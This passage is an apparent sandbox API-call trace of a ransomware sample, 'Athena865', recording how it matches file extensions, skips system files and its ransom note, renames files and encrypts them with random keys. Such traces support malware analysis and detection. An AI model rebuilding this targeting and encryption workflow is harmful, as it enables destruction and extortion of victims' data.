1 [0062.367] lstrlenW (lpString="ib") returned 2 [0062.367] lstrcmpiW (lpString1="si", lpString2="ib") returned 1 [0062.367] lstrlenW (lpString="idb") returned 3 [0062.367] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1 [0062.367] lstrlenW (lpString="ihx") returned 3 [0062.367] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1 [0062.368] lstrlenW (lpString="itdb") returned 4 [0062.368] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1 [0062.368] lstrlenW (lpString="itw") returned 3 [0062.368] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1 [0062.368] lstrlenW (lpString="jet") returned 3 [0062.368] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1 [0062.368] lstrlenW (lpString="jtx") returned 3 [0062.368] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1 [0062.368] lstrlenW (lpString="kdb") returned 3 [0062.368] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1 [0062.368] lstrlenW (lpString="kexi") returned 4 [0062.368] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1 [0062.368] lstrlenW (lpString="kexic") returned 5 [0062.368] lstrcmpiW (lpString1="W.msi", lpString2="kexic") returned 1 [0062.368] lstrlenW (lpString="kexis") returned 5 [0062.368] lstrcmpiW (lpString1="W.msi", lpString2="kexis") returned 1 [0062.368] lstrlenW (lpString="lgc") returned 3 [0062.368] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1 [0062.368] lstrlenW (lpString="lwx") returned 3 [0062.368] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1 [0062.368] lstrlenW (lpString="maf") returned 3 [0062.368] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1 [0062.368] lstrlenW (lpString="maq") returned 3 [0062.368] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1 [0062.368] lstrlenW (lpString="mar") returned 3 [0062.368] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1 [0062.368] lstrlenW (lpString="marshal") returned 7 [0062.368] lstrcmpiW (lpString1="rWW.msi", lpString2="marshal") returned 1 [0062.368] lstrlenW (lpString="mas") returned 3 [0062.368] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1 [0062.368] lstrlenW (lpString="mav") returned 3 [0062.368] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1 [0062.368] lstrlenW (lpString="maw") returned 3 [0062.369] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1 [0062.369] lstrlenW (lpString="mdbhtml") returned 7 [0062.369] lstrcmpiW (lpString1="rWW.msi", lpString2="mdbhtml") returned 1 [0062.369] lstrlenW (lpString="mdn") returned 3 [0062.369] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1 [0062.369] lstrlenW (lpString="mdt") returned 3 [0062.369] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1 [0062.369] lstrlenW (lpString="mfd") returned 3 [0062.369] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1 [0062.369] lstrlenW (lpString="mpd") returned 3 [0062.369] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1 [0062.369] lstrlenW (lpString="mrg") returned 3 [0062.369] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1 [0062.369] lstrlenW (lpString="mud") returned 3 [0062.369] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1 [0062.369] lstrlenW (lpString="mwb") returned 3 [0062.369] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1 [0062.369] lstrlenW (lpString="myd") returned 3 [0062.369] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1 [0062.369] lstrlenW (lpString="ndf") returned 3 [0062.369] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1 [0062.369] lstrlenW (lpString="nnt") returned 3 [0062.369] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1 [0062.369] lstrlenW (lpString="nrmlib") returned 6 [0062.369] lstrcmpiW (lpString1="WW.msi", lpString2="nrmlib") returned 1 [0062.369] lstrlenW (lpString="ns2") returned 3 [0062.369] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1 [0062.369] lstrlenW (lpString="ns3") returned 3 [0062.369] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1 [0062.369] lstrlenW (lpString="ns4") returned 3 [0062.369] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1 [0062.369] lstrlenW (lpString="nsf") returned 3 [0062.370] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1 [0062.370] lstrlenW (lpString="nv") returned 2 [0062.370] lstrcmpiW (lpString1="si", lpString2="nv") returned 1 [0062.370] lstrlenW (lpString="nv2") returned 3 [0062.370] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1 [0062.370] lstrlenW (lpString="nwdb") returned 4 [0062.370] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1 [0062.370] lstrlenW (lpString="nyf") returned 3 [0062.370] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1 [0062.370] lstrlenW (lpString="odb") returned 3 [0062.370] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0062.370] lstrlenW (lpString="odb") returned 3 [0062.370] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0062.370] lstrlenW (lpString="oqy") returned 3 [0062.370] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1 [0062.370] lstrlenW (lpString="ora") returned 3 [0062.370] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1 [0062.370] lstrlenW (lpString="orx") returned 3 [0062.370] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1 [0062.370] lstrlenW (lpString="owc") returned 3 [0062.370] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1 [0062.370] lstrlenW (lpString="p96") returned 3 [0062.370] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1 [0062.370] lstrlenW (lpString="p97") returned 3 [0062.370] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1 [0062.370] lstrlenW (lpString="pan") returned 3 [0062.370] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1 [0062.370] lstrlenW (lpString="pdb") returned 3 [0062.370] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1 [0062.370] lstrlenW (lpString="pdm") returned 3 [0062.370] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1 [0062.370] lstrlenW (lpString="pnz") returned 3 [0062.370] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1 [0062.371] lstrlenW (lpString="qry") returned 3 [0062.371] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1 [0062.371] lstrlenW (lpString="qvd") returned 3 [0062.371] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1 [0062.371] lstrlenW (lpString="rbf") returned 3 [0062.371] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1 [0062.371] lstrlenW (lpString="rctd") returned 4 [0062.371] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1 [0062.371] lstrlenW (lpString="rod") returned 3 [0062.371] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1 [0062.371] lstrlenW (lpString="rodx") returned 4 [0062.371] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1 [0062.371] lstrlenW (lpString="rpd") returned 3 [0062.371] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1 [0062.371] lstrlenW (lpString="rsd") returned 3 [0062.371] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1 [0062.372] lstrlenW (lpString="sas7bdat") returned 8 [0062.372] lstrcmpiW (lpString1="orWW.msi", lpString2="sas7bdat") returned -1 [0062.372] lstrlenW (lpString="sbf") returned 3 [0062.372] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1 [0062.372] lstrlenW (lpString="scx") returned 3 [0062.372] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1 [0062.372] lstrlenW (lpString="sdb") returned 3 [0062.372] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1 [0062.372] lstrlenW (lpString="sdc") returned 3 [0062.372] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1 [0062.372] lstrlenW (lpString="sdf") returned 3 [0062.372] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1 [0062.372] lstrlenW (lpString="sis") returned 3 [0062.372] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1 [0062.372] lstrlenW (lpString="spq") returned 3 [0062.372] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1 [0062.372] lstrlenW (lpString="te") returned 2 [0062.372] lstrcmpiW (lpString1="si", lpString2="te") returned -1 [0062.372] lstrlenW (lpString="teacher") returned 7 [0062.372] lstrcmpiW (lpString1="rWW.msi", lpString2="teacher") returned -1 [0062.372] lstrlenW (lpString="tmd") returned 3 [0062.372] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1 [0062.372] lstrlenW (lpString="tps") returned 3 [0062.372] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1 [0062.372] lstrlenW (lpString="trc") returned 3 [0062.372] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0062.372] lstrlenW (lpString="trc") returned 3 [0062.372] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0062.372] lstrlenW (lpString="trm") returned 3 [0062.372] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1 [0062.372] lstrlenW (lpString="udb") returned 3 [0062.372] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1 [0062.372] lstrlenW (lpString="udl") returned 3 [0062.372] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1 [0062.373] lstrlenW (lpString="usr") returned 3 [0062.373] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1 [0062.373] lstrlenW (lpString="v12") returned 3 [0062.373] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1 [0062.373] lstrlenW (lpString="vis") returned 3 [0062.373] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1 [0062.373] lstrlenW (lpString="vpd") returned 3 [0062.373] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1 [0062.373] lstrlenW (lpString="vvv") returned 3 [0062.373] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1 [0062.373] lstrlenW (lpString="wdb") returned 3 [0062.373] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1 [0062.373] lstrlenW (lpString="wmdb") returned 4 [0062.373] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1 [0062.373] lstrlenW (lpString="wrk") returned 3 [0062.373] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1 [0062.373] lstrlenW (lpString="xdb") returned 3 [0062.373] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1 [0062.373] lstrlenW (lpString="xld") returned 3 [0062.373] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1 [0062.373] lstrlenW (lpString="xmlff") returned 5 [0062.373] lstrcmpiW (lpString1="W.msi", lpString2="xmlff") returned -1 [0062.373] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.Athena865") returned 86 [0062.373] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.athena865"), dwFlags=0x1) returned 1 [0062.374] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0062.375] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10798080) returned 1 [0062.375] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0062.375] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0062.375] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0062.375] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519090) returned 1 [0062.376] CryptGenRandom (in: hProv=0x519090, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0062.376] CryptReleaseContext (hProv=0x519090, dwFlags=0x0) returned 1 [0062.376] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa4c700, lpName=0x0) returned 0x17c [0062.377] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0xa00000, dwNumberOfBytesToMap=0x4c700) returned 0x1f0000 [0062.410] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0062.505] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0062.527] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519090) returned 1 [0062.528] CryptGenRandom (in: hProv=0x519090, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0062.528] CryptReleaseContext (hProv=0x519090, dwFlags=0x0) returned 1 [0062.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0062.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0062.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0062.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0062.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0062.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0062.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0062.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0062.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0062.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0062.528] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0062.531] CloseHandle (hObject=0x17c) returned 1 [0062.531] CloseHandle (hObject=0x154) returned 1 [0062.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0062.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0062.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0062.540] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrjProrWW.xml", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0062.540] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0062.540] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0062.540] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2=".") returned 1 [0062.540] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="..") returned 1 [0062.540] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="windows") returned -1 [0062.540] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="bootmgr") returned 1 [0062.540] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="temp") returned -1 [0062.540] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="pagefile.sys") returned 1 [0062.540] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="boot") returned 1 [0062.540] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="ids.txt") returned 1 [0062.540] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="ntuser.dat") returned 1 [0062.540] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="perflogs") returned 1 [0062.541] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="MSBuild") returned 1 [0062.541] lstrlenW (lpString="PrjProrWW.xml") returned 13 [0062.541] lstrcpyW (in: lpString1=0x241e8c6, lpString2="PrjProrWW.xml" | out: lpString1="PrjProrWW.xml") returned="PrjProrWW.xml" [0062.541] lstrlenW (lpString="PrjProrWW.xml") returned 13 [0062.541] lstrlenW (lpString="Athena865") returned 9 [0062.541] lstrcmpiW (lpString1="rorWW.xml", lpString2="Athena865") returned 1 [0062.541] lstrlenW (lpString=".dll") returned 4 [0062.541] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2=".dll") returned 1 [0062.541] lstrlenW (lpString=".lnk") returned 4 [0062.541] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2=".lnk") returned 1 [0062.541] lstrlenW (lpString=".ini") returned 4 [0062.541] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2=".ini") returned 1 [0062.541] lstrlenW (lpString=".sys") returned 4 [0062.541] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2=".sys") returned 1 [0062.541] lstrlenW (lpString="PrjProrWW.xml") returned 13 [0062.541] lstrlenW (lpString="bak") returned 3 [0062.541] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0062.541] lstrlenW (lpString="ba_") returned 3 [0062.541] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0062.541] lstrlenW (lpString="dbb") returned 3 [0062.541] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0062.541] lstrlenW (lpString="vmdk") returned 4 [0062.541] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0062.541] lstrlenW (lpString="rar") returned 3 [0062.541] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0062.541] lstrlenW (lpString="zip") returned 3 [0062.541] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0062.541] lstrlenW (lpString="tgz") returned 3 [0062.541] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0062.541] lstrlenW (lpString="vbox") returned 4 [0062.541] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0062.541] lstrlenW (lpString="vdi") returned 3 [0062.541] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0062.542] lstrlenW (lpString="vhd") returned 3 [0062.542] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0062.542] lstrlenW (lpString="vhdx") returned 4 [0062.542] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0062.542] lstrlenW (lpString="avhd") returned 4 [0062.542] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0062.542] lstrlenW (lpString="db") returned 2 [0062.542] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0062.542] lstrlenW (lpString="db2") returned 3 [0062.542] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0062.542] lstrlenW (lpString="db3") returned 3 [0062.542] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0062.542] lstrlenW (lpString="dbf") returned 3 [0062.542] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0062.542] lstrlenW (lpString="mdf") returned 3 [0062.542] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0062.542] lstrlenW (lpString="mdb") returned 3 [0062.542] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0062.542] lstrlenW (lpString="sql") returned 3 [0062.542] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0062.542] lstrlenW (lpString="sqlite") returned 6 [0062.542] lstrcmpiW (lpString1="WW.xml", lpString2="sqlite") returned 1 [0062.542] lstrlenW (lpString="sqlite3") returned 7 [0062.542] lstrcmpiW (lpString1="rWW.xml", lpString2="sqlite3") returned -1 [0062.542] lstrlenW (lpString="sqlitedb") returned 8 [0062.572] lstrcmpiW (lpString1="orWW.xml", lpString2="sqlitedb") returned -1 [0062.572] lstrlenW (lpString="xml") returned 3 [0062.572] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0062.573] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.Athena865") returned 86 [0062.573] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.athena865"), dwFlags=0x1) returned 1 [0062.579] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0062.579] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6421) returned 1 [0062.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0062.580] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0062.580] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0062.580] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519090) returned 1 [0062.581] CryptGenRandom (in: hProv=0x519090, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0062.581] CryptReleaseContext (hProv=0x519090, dwFlags=0x0) returned 1 [0062.581] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c20, lpName=0x0) returned 0x17c [0062.582] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c20) returned 0x100000 [0062.583] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519090) returned 1 [0062.584] CryptGenRandom (in: hProv=0x519090, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0062.584] CryptReleaseContext (hProv=0x519090, dwFlags=0x0) returned 1 [0062.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0062.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0062.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0062.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0062.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0062.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0062.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0062.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0062.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0062.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0062.585] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0062.585] CloseHandle (hObject=0x17c) returned 1 [0062.585] CloseHandle (hObject=0x154) returned 1 [0062.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0062.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0062.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0062.585] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1 [0062.585] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0062.585] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0062.585] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2=".") returned 1 [0062.585] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="..") returned 1 [0062.585] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="windows") returned -1 [0062.585] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="bootmgr") returned 1 [0062.586] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="temp") returned -1 [0062.586] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="pagefile.sys") returned 1 [0062.586] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="boot") returned 1 [0062.586] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="ids.txt") returned 1 [0062.586] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="ntuser.dat") returned 1 [0062.586] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="perflogs") returned 1 [0062.586] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="MSBuild") returned 1 [0062.586] lstrlenW (lpString="PrjPrrWW.cab") returned 12 [0062.586] lstrcpyW (in: lpString1=0x241e8c6, lpString2="PrjPrrWW.cab" | out: lpString1="PrjPrrWW.cab") returned="PrjPrrWW.cab" [0062.586] lstrlenW (lpString="PrjPrrWW.cab") returned 12 [0062.586] lstrlenW (lpString="Athena865") returned 9 [0062.586] lstrcmpiW (lpString1="PrrWW.cab", lpString2="Athena865") returned 1 [0062.586] lstrlenW (lpString=".dll") returned 4 [0062.586] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2=".dll") returned 1 [0062.586] lstrlenW (lpString=".lnk") returned 4 [0062.586] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2=".lnk") returned 1 [0062.586] lstrlenW (lpString=".ini") returned 4 [0062.586] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2=".ini") returned 1 [0062.586] lstrlenW (lpString=".sys") returned 4 [0062.586] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2=".sys") returned 1 [0062.586] lstrlenW (lpString="PrjPrrWW.cab") returned 12 [0062.586] lstrlenW (lpString="bak") returned 3 [0062.586] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1 [0062.586] lstrlenW (lpString="ba_") returned 3 [0062.586] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 